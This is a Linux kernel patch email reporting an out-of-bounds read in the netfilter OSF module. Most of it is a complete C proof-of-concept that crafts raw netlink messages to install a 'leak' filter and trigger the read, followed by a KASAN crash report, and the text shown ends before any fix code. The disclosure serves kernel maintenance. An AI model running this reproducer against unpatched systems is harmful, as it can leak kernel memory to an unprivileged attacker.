Subject: [PATCH nf] netfilter/osf: avoid OOB read

From: Wander Lairson Costa <[email-masked]>
Date: Wed, 30 Aug 2023 17:55:55 -0300

The opt_num field is controlled by user mode and is not currently
validated inside the kernel. An attacker can take advantage of this to
trigger an OOB read and potentially leak information.

Reproducer:

void install_filter_for_leak()
{
	char buf[0x1000] = {0};
        struct iovec io = {
		.iov_base = buf,
		.iov_len = sizeof(buf)
        };
        struct msghdr msg = {0};
        msg.msg_iov = &io;
        msg.msg_iovlen = 1;

	int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
	setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int));

	memset(buf, 0, sizeof(buf));
	*(uint32_t*)(buf) = 0x14;
	*(uint16_t*)(buf+4) = 0x10;
	*(uint16_t*)(buf+6) = 1;
	*(uint32_t*)(buf+8) = 0x63072925;
	*(uint16_t*)(buf+0x12) = 0xa;
	*(uint32_t*)(buf+0x14) = 0x20;
	*(uint16_t*)(buf+0x18) = 0xa00;
	*(uint16_t*)(buf+0x1a) = 0x5;
	*(uint32_t*)(buf+0x1c) = 0x63072926;
	*(uint8_t*)(buf+0x24) = 2;

	*(uint16_t*)(buf+0x28) = 0xb;
	*(uint16_t*)(buf+0x2a) = 1;
	strcpy((void*)(buf+0x2c), "filter");

	*(uint32_t*)(buf+0x34) = 0x14;
	*(uint16_t*)(buf+0x38) = 0x11;
	*(uint16_t*)(buf+0x3a) = 1;
	*(uint32_t*)(buf+0x3c) = 0x63072927;
	*(uint16_t*)(buf+0x46) = 0xa;
	io.iov_len = 0x48;
        sendmsg(fd, &msg, 0);

	memset(buf, 0, sizeof(buf));
	*(uint32_t*)(buf) = 0x14;
	*(uint16_t*)(buf+4) = 0x10;
	*(uint16_t*)(buf+6) = 1;
	*(uint32_t*)(buf+8) = 0x63072925;
	*(uint16_t*)(buf+0x12) = 0xa;
	*(uint16_t*)(buf+0x14) = 0x40;
	*(uint16_t*)(buf+0x18) = 0xa03;
	*(uint16_t*)(buf+0x1a) = 0x5;
	*(uint32_t*)(buf+0x1c) = 0x63072926;
	*(uint32_t*)(buf+0x24) = 2;

	*(uint16_t*)(buf+0x28) = 0xb;
	*(uint16_t*)(buf+0x2a) = 1;
	strcpy((void*)(buf+0x2c), "filter");
	*(uint16_t*)(buf+0x34) = 0xa;
	*(uint16_t*)(buf+0x36) = 3;
	strcpy((void*)(buf+0x38), "input");
	*(uint16_t*)(buf+0x40) = 0x14;
	*(uint16_t*)(buf+0x42) = 0x8004;
	*(uint16_t*)(buf+0x44) = 8;
	*(uint16_t*)(buf+0x46) = 1;
	*(uint32_t*)(buf+0x48) = 0x1000000;
	*(uint16_t*)(buf+0x4c) = 8;
	*(uint16_t*)(buf+0x4e) = 2;
	*(uint32_t*)(buf+0x50) = 0;

	*(uint32_t*)(buf+0x54) = 0x14;
	*(uint16_t*)(buf+0x58) = 0x11;
	*(uint16_t*)(buf+0x5a) = 1;
	*(uint32_t*)(buf+0x5c) = 0x63072f50;
	*(uint16_t*)(buf+0x66) = 0xa;
	io.iov_len = 0x68;
        sendmsg(fd, &msg, 0);

	memset(buf, 0, sizeof(buf));
	*(uint32_t*)(buf) = 0x14;
	*(uint16_t*)(buf+4) = 0x10;
	*(uint16_t*)(buf+6) = 1;
	*(uint32_t*)(buf+8) = 0x63072925;
	*(uint16_t*)(buf+0x12) = 0xa;
	*(uint16_t*)(buf+0x14) = 0x40;
	*(uint16_t*)(buf+0x18) = 0xa03;
	*(uint16_t*)(buf+0x1a) = 5;
	*(uint32_t*)(buf+0x1c) = 0x63072926;
	*(uint32_t*)(buf+0x24) = 2;
	*(uint16_t*)(buf+0x28) = 0xb;
	*(uint16_t*)(buf+0x2a) = 1;
	strcpy((void*)(buf+0x2c), "filter");
	*(uint16_t*)(buf+0x34) = 0xb;
	*(uint16_t*)(buf+0x36) = 3;
	strcpy((void*)(buf+0x38), "output");
	*(uint16_t*)(buf+0x40) = 0x14;
	*(uint16_t*)(buf+0x42) = 0x8004;
	*(uint16_t*)(buf+0x44) = 8;
	*(uint16_t*)(buf+0x46) = 1;
	*(uint32_t*)(buf+0x48) = 0x3000000;
	*(uint16_t*)(buf+0x4c) = 8;
	*(uint16_t*)(buf+0x4e) = 2;
	*(uint32_t*)(buf+0x50) = 0;

	*(uint32_t*)(buf+0x54) = 0x14;
	*(uint16_t*)(buf+0x58) = 0x11;
	*(uint16_t*)(buf+0x5a) = 1;
	*(uint32_t*)(buf+0x5c) = 0x63072f50;
	*(uint16_t*)(buf+0x66) = 0xa;
	io.iov_len = 0x68;
        sendmsg(fd, &msg, 0);

	memset(buf, 0, sizeof(buf));
	*(uint32_t*)(buf) = 0x14;
	*(uint16_t*)(buf+4) = 0x10;
	*(uint16_t*)(buf+6) = 1;
	*(uint32_t*)(buf+8) = 0x63072925;
	*(uint16_t*)(buf+0x12) = 0xa;
	*(uint16_t*)(buf+0x14) = 0x2c;
	*(uint16_t*)(buf+0x18) = 0xa03;
	*(uint16_t*)(buf+0x1a) = 0x5;
	*(uint32_t*)(buf+0x1c) = 0x63072926;
	*(uint32_t*)(buf+0x24) = 2;
	*(uint16_t*)(buf+0x28) = 0xb;
	*(uint16_t*)(buf+0x2a) = 1;
	strcpy((void*)(buf+0x2c), "filter");
	*(uint16_t*)(buf+0x34) = 0x9;
	*(uint16_t*)(buf+0x36) = 3;
	strcpy((void*)(buf+0x38), "leak");

	*(uint32_t*)(buf+0x40) = 0x14;
	*(uint16_t*)(buf+0x44) = 0x11;
	*(uint16_t*)(buf+0x46) = 1;
	*(uint32_t*)(buf+0x48) = 0x63072f50;
	*(uint16_t*)(buf+0x52) = 0xa;
	io.iov_len = 0x54;
        sendmsg(fd, &msg, 0);

	char buf5[] = {
		0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00,
		0x74, 0x41, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x0a, 0x00, 0x1c, 0x01, 0x00, 0x00,
		0x06, 0x0a, 0x05, 0x0c, 0x75, 0x41, 0x07, 0x63,
		0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
		0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74,
		0x65, 0x72, 0x00, 0x00, 0x0a, 0x00, 0x02, 0x00,
		0x69, 0x6e, 0x70, 0x75, 0x74, 0x00, 0x00, 0x00,
		0xf0, 0x00, 0x04, 0x80, 0x24, 0x00, 0x01, 0x80,
		0x09, 0x00, 0x01, 0x00, 0x6d, 0x65, 0x74, 0x61,
		0x00, 0x50, 0x02, 0x00, 0x14, 0x00, 0x02, 0x80,
		0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x10,
		0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
		0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00,
		0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80,
		0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
		0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00,
		0x06, 0xb0, 0x1b, 0x00, 0x34, 0x00, 0x01, 0x80,
		0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
		0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
		0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
		0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02,
		0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x0d,
		0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01,
		0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00,
		0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80,
		0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
		0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00,
		0x18, 0xd3, 0x01, 0x00, 0x3c, 0x00, 0x01, 0x80,
		0x0e, 0x00, 0x01, 0x00, 0x69, 0x6d, 0x6d, 0x65,
		0x64, 0x69, 0x61, 0x74, 0x65, 0x00, 0x00, 0x00,
		0x28, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x02, 0x80,
		0x18, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
		0xff, 0xff, 0xff, 0xfd, 0x09, 0x00, 0x02, 0x00,
		0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00,
		0x14, 0x00, 0x00, 0x00, 0x11, 0x00, 0x01, 0x00,
		0x76, 0x41, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x0a, 0x00};
	memset(buf, 0, sizeof(buf));
	memcpy(buf, buf5, sizeof(buf5));
	io.iov_len = 0x144;
        sendmsg(fd, &msg, 0);

	char buf6[] = {
		0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00,
		0xd9, 0x4e, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x0a, 0x00, 0x54, 0x01, 0x00, 0x00,
		0x06, 0x0a, 0x05, 0x0c, 0xda, 0x4e, 0x07, 0x63,
		0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
		0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74,
		0x65, 0x72, 0x00, 0x00, 0x09, 0x00, 0x02, 0x00,
		0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00,
		0x28, 0x01, 0x04, 0x80, 0x34, 0x00, 0x01, 0x80,
		0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
		0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
		0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02,
		0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02,
		0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x03,
		0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01,
		0x34, 0x00, 0x01, 0x80, 0x0c, 0x00, 0x01, 0x00,
		0x70, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x00,
		0x24, 0x00, 0x02, 0x80, 0x08, 0x00, 0x05, 0x00,
		0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x02, 0x00,
		0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x03, 0x00,
		0x00, 0x00, 0x00, 0x0d, 0x08, 0x00, 0x04, 0x00,
		0x00, 0x00, 0x00, 0x01, 0x34, 0x00, 0x01, 0x80,
		0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
		0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
		0x08, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x02,
		0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01,
		0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x08,
		0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01,
		0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00,
		0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80,
		0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02,
		0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01,
		0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00,
		0x02, 0x00, 0x02, 0x80, 0x2c, 0x00, 0x01, 0x80,
		0x08, 0x00, 0x01, 0x00, 0x63, 0x6d, 0x70, 0x00,
		0x20, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
		0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x02, 0x00,
		0x00, 0x00, 0x00, 0x01, 0x0c, 0x00, 0x03, 0x80,
		0x05, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
		0x30, 0x00, 0x01, 0x80, 0x0e, 0x00, 0x01, 0x00,
		0x69, 0x6d, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x74,
		0x65, 0x00, 0x02, 0x00, 0x1c, 0x00, 0x02, 0x80,
		0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x10, 0x00, 0x02, 0x80, 0x0c, 0x00, 0x02, 0x80,
		0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x14, 0x00, 0x00, 0x00, 0x11, 0x00, 0x01, 0x00,
		0xdb, 0x4e, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x0a, 0x00};
	memset(buf, 0, sizeof(buf));
	memcpy(buf, buf6, sizeof(buf6));
	io.iov_len = 0x17c;
        sendmsg(fd, &msg, 0);

	char buf7[] = {
		0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00,
		0x7c, 0x64, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x0a, 0x00, 0x50, 0x00, 0x00, 0x00,
		0x06, 0x0a, 0x05, 0x0c, 0x7d, 0x64, 0x07, 0x63,
		0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
		0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74,
		0x65, 0x72, 0x00, 0x00, 0x09, 0x00, 0x02, 0x00,
		0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00,
		0x24, 0x00, 0x04, 0x80, 0x20, 0x00, 0x01, 0x80,
		0x08, 0x00, 0x01, 0x00, 0x6f, 0x73, 0x66, 0x00,
		0x14, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
		0x00, 0x00, 0x00, 0x04, 0x08, 0x00, 0x03, 0x00,
		0x00, 0x00, 0x00, 0x01, 0x14, 0x00, 0x00, 0x00,
		0x11, 0x00, 0x01, 0x00, 0x7e, 0x64, 0x07, 0x63,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00,
	};
	memset(buf, 0, sizeof(buf));
	memcpy(buf, buf7, sizeof(buf7));
	io.iov_len = 0x78;
        sendmsg(fd, &msg, 0);

	char buf8[] = {
		0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00,
		0xc9, 0x64, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x0a, 0x00, 0x28, 0x01, 0x00, 0x00,
		0x06, 0x0a, 0x05, 0x0c, 0xca, 0x64, 0x07, 0x63,
		0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
		0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74,
		0x65, 0x72, 0x00, 0x00, 0x09, 0x00, 0x02, 0x00,
		0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00,
		0xfc, 0x00, 0x04, 0x80, 0x34, 0x00, 0x01, 0x80,
		0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
		0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
		0x08, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x04,
		0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02,
		0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x20,
		0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x10,
		0x34, 0x00, 0x01, 0x80, 0x0c, 0x00, 0x01, 0x00,
		0x70, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x00,
		0x24, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
		0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x02, 0x00,
		0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x03, 0x00,
		0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x04, 0x00,
		0x00, 0x00, 0x00, 0x01, 0x34, 0x00, 0x01, 0x80,
		0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
		0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
		0x08, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x02,
		0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02,
		0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x0d,
		0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01,
		0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00,
		0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80,
		0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02,
		0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01,
		0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00,
		0x18, 0x00, 0x02, 0x80, 0x30, 0x00, 0x01, 0x80,
		0x0e, 0x00, 0x01, 0x00, 0x69, 0x6d, 0x6d, 0x65,
		0x64, 0x69, 0x61, 0x74, 0x65, 0x00, 0x01, 0x00,
		0x1c, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x02, 0x80,
		0x0c, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
		0x11, 0x00, 0x01, 0x00, 0xcb, 0x64, 0x07, 0x63,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00,
	};
	memset(buf, 0, sizeof(buf));
	memcpy(buf, buf8, sizeof(buf8));
	io.iov_len = 0x150;
        sendmsg(fd, &msg, 0);
}

void *tcp_recv(void * data){

	int sockfd, connfd;
	struct sockaddr_in servaddr;
	int len, n;

	if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
		perror("socket creation failed");
		exit(EXIT_FAILURE);
	}

	memset(&servaddr, 0, sizeof(servaddr));

	servaddr.sin_family    = AF_INET;
	servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");;
	servaddr.sin_port = htons(6146);

	if ( bind(sockfd, (const struct sockaddr *)&servaddr,
		  sizeof(servaddr)) < 0 ){
		perror("bind failed");
		exit(EXIT_FAILURE);
	}

	int yes = 1;
	if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes,
		       sizeof(int)) == -1) {
		perror("setsockopt failed");
		exit(EXIT_FAILURE);
	}

	if ((listen(sockfd, 1)) < 0) {
		perror("listen failed");
		exit(EXIT_FAILURE);
	}

	connfd = accept(sockfd, NULL, 0);
	if (connfd < 0) {
		perror("accept failed");
		exit(EXIT_FAILURE);
	}
	len = 0;

	while(1)
	{
		if(len >= 128)
			break;
		n = read(connfd, data + len, 128-len);
		len += n;
	}

	close(sockfd);
	close(connfd);

	return NULL;
}

int tcp_connect()
{
	int sockfd;
	struct sockaddr_in servaddr;
	if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
		perror("socket creation failed");
		exit(EXIT_FAILURE);
	}
	memset(&servaddr, 0, sizeof(servaddr));

	servaddr.sin_family    = AF_INET;
	servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");;
	servaddr.sin_port = htons(6146);

	if (connect(sockfd,  (const struct sockaddr *)&servaddr,
		    sizeof(servaddr)) != 0) {
		perror("connect failed");
		exit(EXIT_FAILURE);
	}
	return sockfd;
}

int add_osf()
{
	int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
	if (fd == -1) {
                errx(EXIT_FAILURE, "socket failed");
        }

	char iobuf1[0x268] = {0};
	*(uint32_t*)(iobuf1) = 0x268;
	*(uint8_t*)(iobuf1+4) = 0;
	*(uint8_t*)(iobuf1+5) = 0x5;
	*(uint16_t*)(iobuf1+6) = 0x405;
	*(uint32_t*)(iobuf1+8) = 0x63064c36;
	*(uint32_t*)(iobuf1+0x10) = 0;

	*(uint16_t*)(iobuf1+0x14) = 0x254;
	*(uint16_t*)(iobuf1+0x16) = 1;
	*(uint32_t*)(iobuf1+0x18) = 1;
	*(uint32_t*)(iobuf1+0x1c) = 4;
	*(uint8_t*)(iobuf1+0x20) = 2;
	*(uint8_t*)(iobuf1+0x21) = 0x1;
	*(uint16_t*)(iobuf1+0x22) = 0xb4;
	*(uint16_t*)(iobuf1+0x24) = 0;
	*(uint16_t*)(iobuf1+0x26) = 0xff;
	strcpy((void*)(iobuf1+0x28), "Windows");
	strcpy((void*)(iobuf1+0x48), "98");
	*(uint16_t*)(iobuf1+0x88) = 2;
	*(uint16_t*)(iobuf1+0x8a) = 4;
	*(uint16_t*)(iobuf1+0x94) = 1;
	*(uint16_t*)(iobuf1+0x96) = 1;
	*(uint16_t*)(iobuf1+0xa0) = 1;
	*(uint16_t*)(iobuf1+0xa2) = 1;
	*(uint16_t*)(iobuf1+0xac) = 4;
	*(uint16_t*)(iobuf1+0xae) = 2;
	struct iovec io1 = {
		.iov_base = iobuf1,
		.iov_len = sizeof(iobuf1)
	};
	struct msghdr msg1 = {0};
	msg1.msg_iov = &io1;
	msg1.msg_iovlen = 1;
	sendmsg(fd, &msg1, 0);

	return 0;
}

int main(int argc, char *argv[])
{
	add_osf();

	int tid, status;
	pthread_t p_thread;
	int sockfd;
	char buf[128] = {0};

	printf("[+] Create tcp communication\n");
	tid = pthread_create(&p_thread, NULL, tcp_recv, (void *)buf);
	printf("  [-] wait 1sec for server\n");
	usleep(10000);
	printf("  [-] connect to server\n");
	sockfd = tcp_connect();

	printf("[+] Install Filter for leak\n");
	install_filter_for_leak();

	printf("[+] Send packet and read data\n");
	write(sockfd, buf, 128);
	pthread_join(p_thread, (void **)&status);

	printf("[+] Remove filter\n");
	int fd1 = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
        char iobuf1[0x48] = {0};
	*(uint32_t*)(iobuf1) = 0x14;
	*(uint16_t*)(iobuf1+4) = 0x10;
	*(uint16_t*)(iobuf1+6) = 1;
	*(uint32_t*)(iobuf1+8) = 0x63072925;
	*(uint16_t*)(iobuf1+0x12) = 0xa;
	*(uint16_t*)(iobuf1+0x14) = 0x20;
	*(uint16_t*)(iobuf1+0x18) = 0xa02;
	*(uint16_t*)(iobuf1+0x1a) = 0x5;
	*(uint32_t*)(iobuf1+0x1c) = 0x63072926;
	*(uint32_t*)(iobuf1+0x24) = 2;
	*(uint16_t*)(iobuf1+0x28) = 0xb;
	*(uint16_t*)(iobuf1+0x2a) = 1;
	strcpy((void*)(iobuf1+0x2c), "filter");
	*(uint32_t*)(iobuf1+0x34) = 0x14;
	*(uint16_t*)(iobuf1+0x38) = 0x11;
	*(uint16_t*)(iobuf1+0x3a) = 1;
	*(uint32_t*)(iobuf1+0x3c) = 0x63072927;
	*(uint16_t*)(iobuf1+0x46) = 0xa;
        struct iovec io1 = {
		.iov_base = iobuf1,
		.iov_len = sizeof(iobuf1)
        };
        struct msghdr msg1 = {0};
        msg1.msg_iov = &io1;
        msg1.msg_iovlen = 1;
        sendmsg(fd1, &msg1, 0);

	return 0;
}

KASAN report:

==================================================================
BUG: KASAN: slab-out-of-bounds in nf_osf_match_one+0xbed/0xd10 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:88
Read of size 2 at addr ffff88804bc64272 by task poc/6431

CPU: 1 PID: 6431 Comm: poc Not tainted 6.0.0-rc4 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014
Call Trace:
 <IRQ>
 __dump_stack linux-6.0-rc4/lib/dump_stack.c:88
 dump_stack_lvl+0xcd/0x134 linux-6.0-rc4/lib/dump_stack.c:106
 print_address_description linux-6.0-rc4/mm/kasan/report.c:317
 print_report.cold+0x2ba/0x6e9 linux-6.0-rc4/mm/kasan/report.c:433
 kasan_report+0xb1/0x1e0 linux-6.0-rc4/mm/kasan/report.c:495
 nf_osf_match_one+0xbed/0xd10 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:88
 nf_osf_find+0x186/0x2f0 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:281
 nft_osf_eval+0x37f/0x590 linux-6.0-rc4/net/netfilter/nft_osf.c:47
 expr_call_ops_eval linux-6.0-rc4/net/netfilter/nf_tables_core.c:214
 nft_do_chain+0x2b0/0x1490 linux-6.0-rc4/net/netfilter/nf_tables_core.c:264
 nft_do_chain_ipv4+0x17c/0x1f0 linux-6.0-rc4/net/netfilter/nft_chain_filter.c:23
 nf_hook_entry_hookfn linux-6.0-rc4/./include/linux/netfilter.h:142
 nf_hook_slow+0xc5/0x1f0 linux-6.0-rc4/net/netfilter/core.c:620
 nf_hook linux-6.0-rc4/./include/linux/netfilter.h:262
 NF_HOOK linux-6.0-rc4/./include/linux/netfilter.h:305
 ip_local_deliver+0x2f5/0x4e0 linux-6.0-rc4/net/ipv4/ip_input.c:254
 dst_input linux-6.0-rc4/./include/net/dst.h:461
 ip_rcv_finish+0x1cb/0x2f0 linux-6.0-rc4/net/ipv4/ip_input.c:444
 NF_HOOK linux-6.0-rc4/./include/linux/netfilter.h:307
 NF_HOOK linux-6.0-rc4/./include/linux/netfilter.h:301
 ip_rcv+0xc4/0x3b0 linux-6.0-rc4/net/ipv4/ip_input.c:564
 __netif_receive_skb_one_core+0x114/0x180 linux-6.0-rc4/net/core/dev.c:5485
 __netif_receive_skb+0x1f/0x1c0 linux-6.0-rc4/net/core/dev.c:5599
 process_backlog+0x13a/0x690 linux-6.0-rc4/net/core/dev.c:5927
 __napi_poll.constprop.0+0xaf/0x430 linux-6.0-rc4/net/core/dev.c:6511
 napi_poll linux-6.0-rc4/net/core/dev.c:6578
 net_rx_action+0x8d2/0xc60 linux-6.0-rc4/net/core/dev.c:6689
 __do_softirq+0x1d3/0x9b3 linux-6.0-rc4/kernel/softirq.c:571
 do_softirq linux-6.0-rc4/kernel/softirq.c:472
 do_softirq+0x101/0x140 linux-6.0-rc4/kernel/softirq.c:459
 </IRQ>
 <TASK>
 __local_bh_enable_ip+0xf4/0x110 linux-6.0-rc4/kernel/softirq.c:396
 local_bh_enable linux-6.0-rc4/./include/linux/bottom_half.h:33
 rcu_read_unlock_bh linux-6.0-rc4/./include/linux/rcupdate.h:776
 ip_finish_output2+0x7d6/0x21a0 linux-6.0-rc4/net/ipv4/ip_output.c:229
 __ip_finish_output linux-6.0-rc4/net/ipv4/ip_output.c:306
 __ip_finish_output+0x396/0x650 linux-6.0-rc4/net/ipv4/ip_output.c:288
 ip_finish_output+0x2d/0x280 linux-6.0-rc4/net/ipv4/ip_output.c:316
 NF_HOOK_COND linux-6.0-rc4/./include/linux/netfilter.h:296
 ip_output+0x20a/0x620 linux-6.0-rc4/net/ipv4/ip_output.c:430
 dst_output linux-6.0-rc4/./include/net/dst.h:451
 ip_local_out linux-6.0-rc4/net/ipv4/ip_output.c:126
 __ip_queue_xmit+0x8de/0x1bd0 linux-6.0-rc4/net/ipv4/ip_output.c:532
 __tcp_transmit_skb+0x195b/0x3820 linux-6.0-rc4/net/ipv4/tcp_output.c:1402
 tcp_transmit_skb linux-6.0-rc4/net/ipv4/tcp_output.c:1420
 tcp_write_xmit+0xd9b/0x5f70 linux-6.0-rc4/net/ipv4/tcp_output.c:2691
 __tcp_push_pending_frames+0xaa/0x380 linux-6.0-rc4/net/ipv4/tcp_output.c:2875
 tcp_push+0x49b/0x720 linux-6.0-rc4/net/ipv4/tcp.c:728
 tcp_sendmsg_locked+0x2480/0x2fc0 linux-6.0-rc4/net/ipv4/tcp.c:1455
 tcp_sendmsg+0x2b/0x40 linux-6.0-rc4/net/ipv4/tcp.c:1483
 inet_sendmsg+0x99/0xe0 linux-6.0-rc4/net/ipv4/af_inet.c:819
 sock_sendmsg_nosec linux-6.0-rc4/net/socket.c:714
 sock_sendmsg+0xcf/0x120 linux-6.0-rc4/net/socket.c:734
 sock_write_iter+0x291/0x3d0 linux-6.0-rc4/net/socket.c:1108
 call_write_iter linux-6.0-rc4/./include/linux/fs.h:2187
 new_sync_write linux-6.0-rc4/fs/read_write.c:491
 vfs_write+0x9ef/0xde0 linux-6.0-rc4/fs/read_write.c:578
 ksys_write+0x1e8/0x250 linux-6.0-rc4/fs/read_write.c:631
 do_syscall_x64 linux-6.0-rc4/arch/x86/entry/common.c:50
 do_syscall_64+0x35/0xb0 linux-6.0-rc4/arch/x86/entry/common.c:80
 entry_SYSCALL_64_after_hwframe+0x63/0xcd linux-6.0-rc4/arch/x86/entry/entry_64.S:120
RIP: 0033:0x7f1674040fef
Code: 89 54 24 18 48 89 74 24 10 89 7c 24 08 e8 29 fd ff ff 48 8b 54 24 18 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 31 44 89 c7 48 89 44 24 08 e8 5c fd ff ff 48
RSP: 002b:00007ffe90523f50 EFLAGS: 00000293 ORIG_RAX: 0000000000000001
